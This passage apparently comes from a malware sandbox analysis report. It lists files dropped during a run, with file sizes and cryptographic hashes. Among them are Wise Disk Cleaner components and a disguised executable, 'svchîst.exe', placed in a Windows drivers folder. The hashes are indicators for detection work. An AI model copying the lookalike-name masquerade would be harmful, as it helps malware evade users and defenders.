                            SHA256

                            265348499e6625affb99259e7d1770f0155a5e3b7bf62f4b61f3aa01832d8f9c

                            SHA512

                            263251223abca66cdeec425651c706d49e7bcc48769344104ef9cd5122ff9bdc125153b25207fc0af744b20d61086894cc8b10ee3defba9493e5da2709717202

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\WJSLib.dll
                            Filesize

                            164KB

                            MD5

                            b936056bd95fa2de3197f0267c07f529

                            SHA1

                            2cb2a37e5df9a9039995e0248058f0df361d7a90

                            SHA256

                            1ec6c0f9ac71693fc04e59855f4231d4348761b4a2eb1171916dee56b604ce89

                            SHA512

                            156ead7c66ae263457e4605f7970506f43af79e1ad15fbd0d76f6435f0bd9ec20591bb779132315a4ad422fb3484982ace37e8a4c73d1987a7a5030a4e3745a3

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\WJSLib.dll
                            Filesize

                            164KB

                            MD5

                            b936056bd95fa2de3197f0267c07f529

                            SHA1

                            2cb2a37e5df9a9039995e0248058f0df361d7a90

                            SHA256

                            1ec6c0f9ac71693fc04e59855f4231d4348761b4a2eb1171916dee56b604ce89

                            SHA512

                            156ead7c66ae263457e4605f7970506f43af79e1ad15fbd0d76f6435f0bd9ec20591bb779132315a4ad422fb3484982ace37e8a4c73d1987a7a5030a4e3745a3

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\WiseDiskCleaner.exe
                            Filesize

                            7.9MB

                            MD5

                            e2921d7229412e500624c09645a5d222

                            SHA1

                            b1ce462f1a21b726f515150c5aede4b8c592c906

                            SHA256

                            ddbe20fca82bad3524f1940fbb5719560a19e61848f802232c4a3f282244b96c

                            SHA512

                            09bbf7bd9ae1ca3ae9389ac2a031bb14ef97aa9ae151ad4f3c689bc78fcc6cf511c52bddb870271365745c47c5199191d6803cade998af2c67269c54bea978a8

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\sqlite3.dll
                            Filesize

                            889KB

                            MD5

                            dfa08af47fb6bbff6b92308bdce07fe8

                            SHA1

                            63078cb67be4bf2dda6cf0de7cfa204ba91441ca

                            SHA256

                            7c02eb0f0d7ffe0738649a3aff2c70d3196c9afba81efd56a3b85ca65ee8ffce

                            SHA512

                            07848b8cf0eeae17fc67cfb58b2ea009c1726d11256a1c23433dc05a73e703329bfb5d6cc686c8f1f3e2cefc14bc6a946a336d042f982ace23bd398ec1320967

                            Download Submit

                          • C:\Program Files (x86)\Wise\Wise Disk Cleaner\sqlite3.dll
                            Filesize

                            889KB

                            MD5

                            dfa08af47fb6bbff6b92308bdce07fe8

                            SHA1

                            63078cb67be4bf2dda6cf0de7cfa204ba91441ca

                            SHA256

                            7c02eb0f0d7ffe0738649a3aff2c70d3196c9afba81efd56a3b85ca65ee8ffce

                            SHA512

                            07848b8cf0eeae17fc67cfb58b2ea009c1726d11256a1c23433dc05a73e703329bfb5d6cc686c8f1f3e2cefc14bc6a946a336d042f982ace23bd398ec1320967

                            Download Submit

                          • C:\Users\Admin\AppData\Local\Temp\$inst\2.tmp
                            Filesize

                            36B

                            MD5

                            8708699d2c73bed30a0a08d80f96d6d7

                            SHA1

                            684cb9d317146553e8c5269c8afb1539565f4f78

                            SHA256

                            a32e0a83001d2c5d41649063217923dac167809cab50ec5784078e41c9ec0f0f

                            SHA512

                            38ece3e441cc5d8e97781801d5b19bdede6065a0a50f7f87337039edeeb4a22ad0348e9f5b5542b26236037dd35d0563f62d7f4c4f991c51020552cfae03b264

                            Download Submit

                          • C:\Users\Admin\AppData\Local\Temp\Wise Disk Cleaner\10.3.6.788\setup.exe
                            Filesize

                            4.2MB

                            MD5

                            a22b08040d741fb41fc5812996ad3e8f

                            SHA1

                            cc684e1c8d24aabeb0eab2763655d3050389c953

                            SHA256

                            d42f5676db9952c13cc8955238341956b59ca1dfe6b1afb1c8ca813bb62ddb9c

                            SHA512

                            a8d6b75d66a5b79d8b34c2a32acd4b077805e36d187fbd73ba2f4e8e32b92fe42016540314cae516a9687b5a30b74e9f126750ae99035daa2f36eed784a9fe4e

                            Download Submit

                          • C:\Users\Admin\AppData\Local\Temp\Wise Disk Cleaner\10.3.6.788\setup.exe
                            Filesize

                            4.2MB

                            MD5

                            a22b08040d741fb41fc5812996ad3e8f

                            SHA1

                            cc684e1c8d24aabeb0eab2763655d3050389c953

                            SHA256

                            d42f5676db9952c13cc8955238341956b59ca1dfe6b1afb1c8ca813bb62ddb9c

                            SHA512

                            a8d6b75d66a5b79d8b34c2a32acd4b077805e36d187fbd73ba2f4e8e32b92fe42016540314cae516a9687b5a30b74e9f126750ae99035daa2f36eed784a9fe4e

                            Download Submit

                          • C:\Users\Admin\AppData\Local\Temp\is-RO3QC.tmp\CSTask.exe
                            Filesize

                            523KB

                            MD5

                            e6495a498dfa91672a383cb9459c9c5e

                            SHA1

                            d1d44a9ec6df8fc42008c13bcf18ca5f790a371e

                            SHA256

                            ac5d91aafd9a3f099bb857130bd9d5706172ea8a0f50878e5c86916745df2778

                            SHA512

                            7bbdf2006847a3ccbbca9dc02ec8dd32b3f7094470febf2aff213b8ada291835548ec14441d341beaddf5320ae8c25a5c66dd99b8015769615854d5236ecb27a

                            Download Submit

                          • C:\Users\Admin\AppData\Local\Temp\is-RO3QC.tmp\CSTask.exe
                            Filesize

                            523KB

                            MD5

                            e6495a498dfa91672a383cb9459c9c5e

                            SHA1

                            d1d44a9ec6df8fc42008c13bcf18ca5f790a371e

                            SHA256

                            ac5d91aafd9a3f099bb857130bd9d5706172ea8a0f50878e5c86916745df2778

                            SHA512

                            7bbdf2006847a3ccbbca9dc02ec8dd32b3f7094470febf2aff213b8ada291835548ec14441d341beaddf5320ae8c25a5c66dd99b8015769615854d5236ecb27a

                            Download Submit

                          • C:\Users\Admin\AppData\Local\Temp\is-TD35V.tmp\setup.tmp
                            Filesize

                            1.2MB

                            MD5

                            2542d7026b9bbf47242cc3bae8e889e7

                            SHA1

                            4c3fc03a3f49f8caa348d4e1b3942a103eeabd0d

                            SHA256

                            71a433a0904ade7f442a79d8d69df5400e939b5bc1ba043735e6c5825a024ddf

                            SHA512

                            be76671d82fe68f79a90704ebf6c3e199b179cdacfac92e5d8c509215e2c3f9e9a4f70e0fd84373b393ebc80a2a03d5eacd151107d6b2e4e90ce62478506acbb

                            Download Submit

                          • C:\Users\Admin\AppData\Local\Temp\is-TD35V.tmp\setup.tmp
                            Filesize

                            1.2MB

                            MD5

                            2542d7026b9bbf47242cc3bae8e889e7

                            SHA1

                            4c3fc03a3f49f8caa348d4e1b3942a103eeabd0d

                            SHA256

                            71a433a0904ade7f442a79d8d69df5400e939b5bc1ba043735e6c5825a024ddf

                            SHA512

                            be76671d82fe68f79a90704ebf6c3e199b179cdacfac92e5d8c509215e2c3f9e9a4f70e0fd84373b393ebc80a2a03d5eacd151107d6b2e4e90ce62478506acbb

                            Download Submit

                          • C:\Windows\SysWOW64\drivers\install.exe
                            Filesize

                            207KB

                            MD5

                            1cd9ee0406b9a04672fdd385ca7631ce

                            SHA1

                            5b3b49cd7906676ad46a7b7d192967df6c9ea505

                            SHA256

                            2867d9d82ad10a29d36b2bee57993db95246b8fc90824d03d04f6e91b2eb34e8

                            SHA512

                            367fd8fb8e0d8215febed8c8fd223b35758acd82bcb678109068bb34d588d331ade1309e4c7d76a57014dab55e0e629127cc4229f2f8ea1ddc49b228ac6a61a7

                            Download Submit

                          • C:\Windows\SysWOW64\drivers\install.exe
                            Filesize

                            207KB

                            MD5

                            1cd9ee0406b9a04672fdd385ca7631ce

                            SHA1

                            5b3b49cd7906676ad46a7b7d192967df6c9ea505

                            SHA256

                            2867d9d82ad10a29d36b2bee57993db95246b8fc90824d03d04f6e91b2eb34e8

                            SHA512

                            367fd8fb8e0d8215febed8c8fd223b35758acd82bcb678109068bb34d588d331ade1309e4c7d76a57014dab55e0e629127cc4229f2f8ea1ddc49b228ac6a61a7

                            Download Submit

                          • C:\Windows\SysWOW64\drivers\libeay32.dll
                            Filesize

                            1.3MB

                            MD5

                            4cb2e1b9294ddae1bf7dcaaf42b365d1

                            SHA1

                            a225f53a8403d9b73d77bcbb075194520cce5a14

                            SHA256

                            a8124500cae0aba3411428c2c6df2762ea11cc11c312abed415d3f3667eb6884

                            SHA512

                            46cf4abf9121c865c725ca159df71066e0662595915d653914e4ec047f94e2ab3823f85c9e0e0c1311304c460c90224bd3141da62091c733dcaa5dccf64c04bb

                            Download Submit

                          • C:\Windows\SysWOW64\drivers\libeay32.dll
                            Filesize

                            1.3MB

                            MD5

                            4cb2e1b9294ddae1bf7dcaaf42b365d1

                            SHA1

                            a225f53a8403d9b73d77bcbb075194520cce5a14

                            SHA256

                            a8124500cae0aba3411428c2c6df2762ea11cc11c312abed415d3f3667eb6884

                            SHA512

                            46cf4abf9121c865c725ca159df71066e0662595915d653914e4ec047f94e2ab3823f85c9e0e0c1311304c460c90224bd3141da62091c733dcaa5dccf64c04bb

                            Download Submit

                          • C:\Windows\SysWOW64\drivers\libeay32.dll
                            Filesize

                            1.3MB

                            MD5

                            4cb2e1b9294ddae1bf7dcaaf42b365d1

                            SHA1

                            a225f53a8403d9b73d77bcbb075194520cce5a14

                            SHA256

                            a8124500cae0aba3411428c2c6df2762ea11cc11c312abed415d3f3667eb6884

                            SHA512

                            46cf4abf9121c865c725ca159df71066e0662595915d653914e4ec047f94e2ab3823f85c9e0e0c1311304c460c90224bd3141da62091c733dcaa5dccf64c04bb

                            Download Submit

                          • C:\Windows\SysWOW64\drivers\ssleay32.dll
                            Filesize

                            337KB

                            MD5

                            5c268ca919854fc22d85f916d102ee7f

                            SHA1

                            0957cf86e0334673eb45945985b5c033b412be0e

                            SHA256

                            1f4b3efc919af1106f348662ee9ad95ab019058ff502e3d68e1b5f7abff91b56

                            SHA512

                            76d0abad1d7d0856ec1b8e598b05a2a6eece220ea39d74e7f6278a4219e22c75b7f618160ce41810daa57d5d4d534afd78f5cc1bd6de927dbb6a551aca2f8310

                            Download Submit

                          • C:\Windows\SysWOW64\drivers\ssleay32.dll
                            Filesize

                            337KB

                            MD5

                            5c268ca919854fc22d85f916d102ee7f

                            SHA1

                            0957cf86e0334673eb45945985b5c033b412be0e

                            SHA256

                            1f4b3efc919af1106f348662ee9ad95ab019058ff502e3d68e1b5f7abff91b56

                            SHA512

                            76d0abad1d7d0856ec1b8e598b05a2a6eece220ea39d74e7f6278a4219e22c75b7f618160ce41810daa57d5d4d534afd78f5cc1bd6de927dbb6a551aca2f8310

                            Download Submit

                          • C:\Windows\SysWOW64\drivers\ssleay32.dll
                            Filesize

                            337KB

                            MD5

                            5c268ca919854fc22d85f916d102ee7f

                            SHA1

                            0957cf86e0334673eb45945985b5c033b412be0e

                            SHA256

                            1f4b3efc919af1106f348662ee9ad95ab019058ff502e3d68e1b5f7abff91b56

                            SHA512

                            76d0abad1d7d0856ec1b8e598b05a2a6eece220ea39d74e7f6278a4219e22c75b7f618160ce41810daa57d5d4d534afd78f5cc1bd6de927dbb6a551aca2f8310

                            Download Submit

                          • C:\Windows\SysWOW64\drivers\svchîst.exe
                            Filesize

                            11.1MB

                            MD5

                            a6fcc7dd9a6e029c921555b1de6fd586

                            SHA1

                            a889c079a86d600896e14973ba5775b6b1f6ac60

                            SHA256

                            4070e977823d74478aec248862302063918fda16b57f2c3b561018605bfbf4fe

                            SHA512

                            6c0e94c53c90a6963587bd9ca88aff20bdcc3aad4e7ad25ef2192e278fd9cfc727b7b1a544149ec5d4d91697e90d507bebf6691b8851a976802ad9282af1fddb

                            Download Submit

                          • C:\Windows\SysWOW64\drivers\svchîst.exe
                            Filesize

                            11.1MB

                            MD5

                            a6fcc7dd9a6e029c921555b1de6fd586

                            SHA1

                            a889c079a86d600896e14973ba5775b6b1f6ac60

                            SHA256

                            4070e977823d74478aec248862302063918fda16b57f2c3b561018605bfbf4fe

                            SHA512

                            6c0e94c53c90a6963587bd9ca88aff20bdcc3aad4e7ad25ef2192e278fd9cfc727b7b1a544149ec5d4d91697e90d507bebf6691b8851a976802ad9282af1fddb

                            Download Submit

                          • C:\Windows\SysWOW64\drivers\svchîst.exe
                            Filesize

                            11.1MB

                            MD5

                            a6fcc7dd9a6e029c921555b1de6fd586

                            SHA1

                            a889c079a86d600896e14973ba5775b6b1f6ac60

                            SHA256

                            4070e977823d74478aec248862302063918fda16b57f2c3b561018605bfbf4fe

                            SHA512

                            6c0e94c53c90a6963587bd9ca88aff20bdcc3aad4e7ad25ef2192e278fd9cfc727b7b1a544149ec5d4d91697e90d507bebf6691b8851a976802ad9282af1fddb

                            Download Submit

                          • memory/876-139-0x0000000000400000-0x0000000000438000-memory.dmp

                            Filesize

                            224KB

                            Download

                          • memory/876-145-0x0000000000400000-0x0000000000438000-memory.dmp

                            Filesize

                            224KB

                            Download